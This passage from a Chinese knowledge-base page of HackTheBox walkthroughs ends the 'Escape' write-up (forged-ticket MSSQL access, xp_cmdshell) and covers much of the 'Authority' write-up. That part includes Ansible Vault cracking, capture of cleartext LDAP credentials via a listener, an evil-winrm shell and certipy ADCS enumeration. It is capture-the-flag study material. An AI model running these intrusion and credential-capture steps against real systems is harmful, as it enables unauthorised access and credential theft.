有了这个票据，就可以以管理员身份向MSSQL进行身份验证:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ntpdate -u dc.sequel.htb                                                                                                      1 ⨯
2023-06-19 12:35:11.302698 (-0400) +1.961441 +/- 0.163425 dc.sequel.htb 10.10.11.202 s1 no-leap
CLOCK: time stepped by 1.961441

┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# KRB5CCNAME=administrator.ccache mssqlclient.py -k dc.sequel.htb
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
```

#### 读取flag

在这里，可以作为administrator从box中[读取文件](https://www.geeksforgeeks.org/reading-a-text-file-with-sql-server/#):

``` bash
┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ntpdate -u dc.sequel.htb
ntpdig: no eligible servers

┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# ntpdate -u dc.sequel.htb                                                                                                      1 ⨯
2023-06-19 12:35:11.302698 (-0400) +1.961441 +/- 0.163425 dc.sequel.htb 10.10.11.202 s1 no-leap
CLOCK: time stepped by 1.961441

┌──(root💀kali)-[~/hackthebox/machine/escape]
└─# KRB5CCNAME=administrator.ccache mssqlclient.py -k dc.sequel.htb
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents
BulkColumn

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

b'47e8a7ffa5ff5b79ea0eeb5906ec2a46\r\n'

SQL> SELECT * FROM OPENROWSET(BULK N'C:\users\administrator\desktop\root.txt', SINGLE_CLOB) AS Contents
BulkColumn

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

b'427e2e823cf867a7a25b8f6d9943be9b\r\n'
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Escape10.png)

#### 命令执行

xp_cmdshell仍然被禁用，但与sql_svc不同，administrator用户有权限启用它:

``` bash
SQL> xp_cmdshell whoami
[-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL> EXECUTE sp_configure 'show advanced options', 1
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> EXECUTE sp_configure 'xp_cmdshell', 1
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE
SQL> xp_cmdshell whoami
output

--------------------------------------------------------------------------------

sequel\sql_svc

NULL
```

这些命令仍然作为sql_svc身份运行。这是因为sql_svc仍然是运行MSSQL服务的进程。它只能与操作系统协商以administrator身份读取文件，因为有那个票据。

使用administrator身份读写文件，可以将其转换为administrator身份执行。这个[PayloadsAllTheThings页面](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---privileged-file-write)展示了各种方法。HackBack中展示了[DiagHub方法](https://0xdf.gitlab.io/2019/07/06/htb-hackback.html#arbitrary-write--diaghub--system)，尽管后来打了补丁。在Proper中展示了[WerTrigger方法](https://0xdf.gitlab.io/2021/08/21/htb-proper.html#shell-via-wertrigger)，仍然有用。

#### Reference Sources

 - [0xdf's blog Escape walkthrough](https://0xdf.gitlab.io/2023/06/17/htb-escape.html)
 - [HTB's official Escape walkthrough](https://app.hackthebox.com/machines/Escape/walkthroughs)
 - [Responder](https://github.com/lgandx/Responder)
 - [SharpCollection](https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_Any)
 - [Certify](https://github.com/GhostPack/Certify)
 - [Investigating Certificate Template Enrollment Attacks – (ADCS)](https://m365internals.com/2022/11/07/investigating-certificate-template-enrollment-attacks-adcs/)
 - [certipy](https://github.com/ly4k/Certipy)
 - [Silver Ticket Attack](https://www.netwrix.com/silver_ticket_attack_forged_service_tickets.html)
 - [How Attackers Use Kerberos Silver Tickets to Exploit Systems](https://adsecurity.org/?p=2011)

<!-- kb:end escape -->

</details>

<a id="case-htb-authority"></a>

## ESC1 与不支持 PKINIT 时的证书认证

Ansible Vault 和 PWM LDAP 配置连接服务账户，证书模板中的 SAN 与注册权限决定 ESC1 条件。PKINIT 失败后原文分别记录 LDAP 与 PassTheCert 路径。

<p class="kb-provenance">来源 htb-authority · 原记录 2023-12-11 · 37 个代码块 · 16 处图片引用</p>

<details class="kb-evidence" id="record-htb-authority">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start htb-authority -->

#### 简述

本文是medium难度的HTB authority机器的域渗透部分，其中ansible hash crack + ESC1 attack + pass-the-cert attack等域渗透只是细节是此box的特色，主要参考[0xdf's blog authority walkthrough](https://0xdf.gitlab.io/2023/12/09/htb-authority.html)和[HTB的authority官方writeup paper](https://app.hackthebox.com/machines/Authority/writeups)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority.png)



#### 信息收集
#### nmap

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  nmap -v -sV -p- --min-rate=10000 10.10.11.222
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-11 09:59:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8443/tcp  open  ssl/https-alt
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49689/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49735/tcp open  msrpc         Microsoft Windows RPC
```

 - 一级枚举:

SMB (445)
DNS (53)
HTTP (80) / HTTPS (8443)

 - 二级枚举:

Kerberos (88)
LDAP (389, others)
RPC (135)

 - 如果找到密码凭证信息:

WinRM (5985)

#### SMB - TCP 445

Netexec(前身是crackmapexec)显示authority.htb的域名和hostname:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec smb 10.10.11.222
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
```

如果尝试不用creds列出creds，失败，但可以使用一些垃圾creds:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec smb 10.10.11.222 --shares
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [-] Error getting user: list index out of range
SMB         10.10.11.222    445    AUTHORITY        [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec smb 10.10.11.222 -u fdvoid0 -p '' --shares
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\fdvoid0:
SMB         10.10.11.222    445    AUTHORITY        [*] Enumerated shares
SMB         10.10.11.222    445    AUTHORITY        Share           Permissions     Remark
SMB         10.10.11.222    445    AUTHORITY        -----           -----------     ------
SMB         10.10.11.222    445    AUTHORITY        ADMIN$                          Remote Admin
SMB         10.10.11.222    445    AUTHORITY        C$                              Default share
SMB         10.10.11.222    445    AUTHORITY        Department Shares
SMB         10.10.11.222    445    AUTHORITY        Development     READ
SMB         10.10.11.222    445    AUTHORITY        IPC$            READ            Remote IPC
SMB         10.10.11.222    445    AUTHORITY        NETLOGON                        Logon server share
SMB         10.10.11.222    445    AUTHORITY        SYSVOL                          Logon server share
```

"Department Shares" 共享没有权限.

能访问的共享是"Development"。它有一个单一的目录Automation\Ansible，它有四个目录:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  smbclient -N //10.10.11.222/Development
Can't load /etc/samba/smb.conf - run testparm to debug it
Try "help" to get a list of possible commands.
smb: \> ls Automation\Ansible\
  .                                   D        0  Fri Mar 17 09:20:50 2023
  ..                                  D        0  Fri Mar 17 09:20:50 2023
  ADCS                                D        0  Fri Mar 17 09:20:48 2023
  LDAP                                D        0  Fri Mar 17 09:20:48 2023
  PWM                                 D        0  Fri Mar 17 09:20:48 2023
  SHARE                               D        0  Fri Mar 17 09:20:48 2023

                5888511 blocks of size 4096. 1518451 blocks available
```

每个都有一个Ansible设置。例如，ADCS:

``` bash
smb: \> ls Automation\Ansible\ADCS\
  .                                   D        0  Fri Mar 17 09:20:48 2023
  ..                                  D        0  Fri Mar 17 09:20:48 2023
  .ansible-lint                       A      259  Thu Sep 22 01:34:12 2022
  .yamllint                           A      205  Tue Sep  6 12:07:26 2022
  defaults                            D        0  Fri Mar 17 09:20:48 2023
  LICENSE                             A    11364  Tue Sep  6 12:07:26 2022
  meta                                D        0  Fri Mar 17 09:20:48 2023
  molecule                            D        0  Fri Mar 17 09:20:48 2023
  README.md                           A     7279  Tue Sep  6 12:07:26 2022
  requirements.txt                    A      466  Tue Sep  6 12:07:26 2022
  requirements.yml                    A      264  Tue Sep  6 12:07:26 2022
  SECURITY.md                         A      924  Tue Sep  6 12:07:26 2022
  tasks                               D        0  Fri Mar 17 09:20:48 2023
  templates                           D        0  Fri Mar 17 09:20:48 2023
  tox.ini                             A      419  Tue Sep  6 12:07:26 2022
  vars                                D        0  Fri Mar 17 09:20:48 2023

                5888511 blocks of size 4096. 1518420 blocks available
```

Active Directory证书服务(ADCS)是一个很有价值的目标，但没有creds做不了什么。注意到这一点，作为再次检查的提示。

#### DNS - TCP / UDP 53

TCP 53端口开放，尝试在SMB枚举标识的域上进行zone transfer:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  dig axfr authority.htb @10.10.11.222

; <<>> DiG 9.19.17-1-Debian <<>> axfr authority.htb @10.10.11.222
;; global options: +cmd
; Transfer failed.
```

不允许Zone transfers。

反向查找也不会得到任何有用的信息:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  dig -x 10.10.11.222 @10.10.11.222
;; communications error to 10.10.11.222#53: timed out

; <<>> DiG 9.19.17-1-Debian <<>> -x 10.10.11.222 @10.10.11.222
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 54962
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;222.11.10.10.in-addr.arpa.     IN      PTR

;; Query time: 3992 msec
;; SERVER: 10.10.11.222#53(10.10.11.222) (UDP)
;; WHEN: Mon Dec 11 07:31:55 EST 2023
;; MSG SIZE  rcvd: 54
```

将以下域名添加到/etc/hosts

``` bash
10.10.11.222    authority.authority.htb authority.htb
```

#### Website - TCP 80

iis界面没有任何东西

#### PWM - TCP 8443

web root重定向到/pwm/，呈现一个[pwm](https://github.com/pwm-project/pwm)界面:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority1.png)

 - PWM: 一个用于LDAP目录的开源密码自助服务应用程序。

#### Shell as svc_ldap
#### Ansible 文件

SMB共享中的一个目录命名为PWM:

``` bash
smb: \Automation\Ansible\PWM\> ls
  .                                   D        0  Fri Mar 17 09:20:48 2023
  ..                                  D        0  Fri Mar 17 09:20:48 2023
  ansible.cfg                         A      491  Thu Sep 22 01:36:58 2022
  ansible_inventory                   A      174  Wed Sep 21 18:19:32 2022
  defaults                            D        0  Fri Mar 17 09:20:48 2023
  handlers                            D        0  Fri Mar 17 09:20:48 2023
  meta                                D        0  Fri Mar 17 09:20:48 2023
  README.md                           A     1290  Thu Sep 22 01:35:58 2022
  tasks                               D        0  Fri Mar 17 09:20:48 2023
  templates                           D        0  Fri Mar 17 09:20:48 2023

                5888511 blocks of size 4096. 1145489 blocks available
```

把这些文件下载下来

``` bash
smb: \Automation\Ansible\> prompt off
smb: \Automation\Ansible\> recurse true
smb: \Automation\Ansible\> mget PWM
getting file \Automation\Ansible\PWM\ansible.cfg of size 491 as PWM/ansible.cfg (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
getting file \Automation\Ansible\PWM\ansible_inventory of size 174 as PWM/ansible_inventory (0.1 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \Automation\Ansible\PWM\README.md of size 1290 as PWM/README.md (1.0 KiloBytes/sec) (average 0.5 KiloBytes/sec)
getting file \Automation\Ansible\PWM\defaults\main.yml of size 1591 as PWM/defaults/main.yml (1.6 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \Automation\Ansible\PWM\handlers\main.yml of size 4 as PWM/handlers/main.yml (0.0 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \Automation\Ansible\PWM\meta\main.yml of size 199 as PWM/meta/main.yml (0.2 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \Automation\Ansible\PWM\tasks\main.yml of size 1832 as PWM/tasks/main.yml (1.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
getting file \Automation\Ansible\PWM\templates\context.xml.j2 of size 422 as PWM/templates/context.xml.j2 (0.4 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \Automation\Ansible\PWM\templates\tomcat-users.xml.j2 of size 388 as PWM/templates/tomcat-users.xml.j2 (0.5 KiloBytes/sec) (average 0.7 KiloBytes/sec)
```

ansible_inventory 文件似乎有WinRM的密码

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority2.png)

用netexec尝试:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec winrm authority.htb -u administrator -p 'Welcome1'
SMB         10.10.11.222    5985   AUTHORITY        [*] Windows 10.0 Build 17763 (name:AUTHORITY) (domain:authority.htb)
HTTP        10.10.11.222    5985   AUTHORITY        [*] http://10.10.11.222:5985/wsman
HTTP        10.10.11.222    5985   AUTHORITY        [-] authority.htb\administrator:Welcome1
```

\Automation\Ansible\PWM\defaults\main.yml有PWM的配置文件:

``` bash
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764
```

#### 恢复密码

上面文件中的值由[Ansible Vault](https://docs.ansible.com/ansible/2.8/user_guide/vault.html#variable-level-encryption)保护。John The Ripper有一个脚本[ansible2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/ansible2john.py)。该脚本接受一个有两行的文件，第一行是头，第二行是上面十六进制编码的值。把这三个受保护的值格式化成文件:

``` bash
⚡ root@kali  ~/hackthebox/machine/authority  cat vault*
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
```

 - [ansible hash crack](https://ppn.snovvcrash.rocks/pentest/infrastructure/devops/ansible)

运行ansible2john.py来生成hash:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  /usr/share/john/ansible2john.py vault1 vault2 vault3 | tee vault_hashes
vault1:$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8
vault2:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5
vault3:$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635
```

使用hashcat 16900模式破解以上hash

``` bash
E:\hashcat-6.2.5>hashcat.exe -m 16900 password.txt rockyou.txt
hashcat (v6.2.5) starting

$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed228                                                                                                           809393b1767055a66deae678f4a8b1f8550905f70da5:!@#$%^&*
$ansible$0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c                                                                                                           c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8:!@#$%^&*
$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73a                                                                                                           ad5d8804b4b2511c3b15814ebcf2fe98334284203635:!@#$%^&*

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16900 (Ansible Vault)
Hash.Target......: password.txt
Time.Started.....: Mon Dec 11 14:40:10 2023 (8 secs)
Time.Estimated...: Mon Dec 11 14:40:18 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   163.1 kH/s (7.49ms) @ Accel:32 Loops:32 Thr:256 Vec:1
Speed.#3.........:     4998 H/s (9.29ms) @ Accel:64 Loops:16 Thr:16 Vec:1
Speed.#*.........:   168.1 kH/s
Recovered........: 3/3 (100.00%) Digests, 3/3 (100.00%) Salts
Progress.........: 1245184/43033158 (2.89%)
Rejected.........: 0/1245184 (0.00%)
Restore.Point....: 0/14344386 (0.00%)
Restore.Sub.#1...: Salt:2 Amplifier:0-1 Iteration:9984-9999
Restore.Sub.#3...: Salt:2 Amplifier:0-1 Iteration:1136-1152
Candidate.Engine.: Device Generator
Candidates.#1....: eatme1 -> columb
Candidates.#3....: 123456 -> elenutza
Hardware.Mon.#1..: Temp: 53c Util: 98% Core:1515MHz Mem:6000MHz Bus:8
Hardware.Mon.#3..: N/A
```

它们都有相同的密码!@#$%^&*，这是有意义的，因为它们是在同一个可见文件中加密的。

使用ansible-vault破解得到明文密码

``` bash
pip install ansible-vault
```

``` bash
⚡ root@kali  ~/hackthebox/machine/authority  cat vault1 | ansible-vault decrypt
Vault password:
Decryption successful
svc_pwm
⚡ root@kali  ~/hackthebox/machine/authority  cat vault2 | ansible-vault decrypt
Vault password:
Decryption successful
pWm_@dm!N_!23
⚡ root@kali  ~/hackthebox/machine/authority  cat vault3 | ansible-vault decrypt
Vault password:
Decryption successful
DevT3st@123
```

尝试密码有效性

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec smb authority.htb -u svc_pwm -p 'pWm_@dm!N_!23'
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\svc_pwm:pWm_@dm!N_!23
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec smb authority.htb -u svc_pwm -p 'pWm_@dm!N_!23' --shares
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\svc_pwm:pWm_@dm!N_!23
SMB         10.10.11.222    445    AUTHORITY        [-] Error enumerating shares: STATUS_ACCESS_DENIED
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec winrm authority.htb -u svc_pwm -p 'pWm_@dm!N_!23'
SMB         10.10.11.222    5985   AUTHORITY        [*] Windows 10.0 Build 17763 (name:AUTHORITY) (domain:authority.htb)
HTTP        10.10.11.222    5985   AUTHORITY        [*] http://10.10.11.222:5985/wsman
HTTP        10.10.11.222    5985   AUTHORITY        [-] authority.htb\svc_pwm:pWm_@dm!N_!23
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec ldap 10.10.11.222 -u svc_pwm -p 'pWm_@dm!N_!23'
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.222    445    AUTHORITY        [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAPS       10.10.11.222    636    AUTHORITY        [+] authority.htb\svc_pwm:pWm_@dm!N_!23
```

回到PWM登录面板，可以使用密码pWm_@dm!N_! 23登录到Configuration Editor

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority3.png)

#### 抓取 LDAP Creds

存储了一些缓存凭据。为了恢复它们，编辑URL以指向本机ip，使用明文LDAP而不是LDAPS(并使用默认的LDAP端口389)，编辑好后然后点击"Test LDAP Profile":

``` bash
luci@luci$ nc -lnvp 389
Listening on 0.0.0.0 389
Connection received on 10.10.11.222 61956
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htblDaP_1n_th3_cle4r!
```

密码为"lDaP_1n_th3_cle4r!"，尽管在该捕获中看到它不是微不足道的，因为终端只是丢弃了该数据中的非ascii字符。在Wireshark中看的更清楚:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority4.png)

Authority作为客户端试图向我的VM进行身份验证，并以明文发送这些凭证。[Responder](https://github.com/lgandx/Responder)也可以监听并捕获这些信号:

``` bash
[+] Listening for events...

[LDAP] Cleartext Client   : 10.10.11.222
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!
```

#### WinRM shell

这些creds在SMB和WinRM上的svc_ldap帐户都有效:

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec smb authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10.0 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
 ⚡ root@kali  ~/hackthebox/machine/authority  netexec winrm authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
SMB         10.10.11.222    5985   AUTHORITY        [*] Windows 10.0 Build 17763 (name:AUTHORITY) (domain:authority.htb)
HTTP        10.10.11.222    5985   AUTHORITY        [*] http://10.10.11.222:5985/wsman
HTTP        10.10.11.222    5985   AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)
```

直接使用密码获取WinRM shell

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> cat C:\Users\svc_ldap\desktop\user.txt
9e33396f8c7903dea494cfba76cbc503
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Authority5.png)

#### Shell as administrator
#### Enumeration

在Windows DC上枚举ADCS总是值得的。已经展示certipy(pipx install certipy-ad) [Certipy GitHub](https://github.com/ly4k/Certipy)之前的[HTB: Absolute](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html#shadow-credential)和[htb: escape](https://0xdf.gitlab.io/2023/06/17/htb-escape.html#shell-as-administrator)。使用find命令来识别模板，使用-vulnerable只显示易受攻击的模板(注意: 使用的certipy需要为最新版本):

``` bash
 ⚡ root@kali  ~/hackthebox/machine/authority  certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Saved BloodHound data to '20231211015614_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231211015614_Certipy.txt'
[*] Saved JSON output to '20231211015614_Certipy.json'
 ⚡ root@kali  ~/hackthebox/machine/authority  cat 20231211015614_Certipy.txt
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : AUTHORITY.HTB\Administrators
      Access Rights
        ManageCertificates              : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        ManageCa                        : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
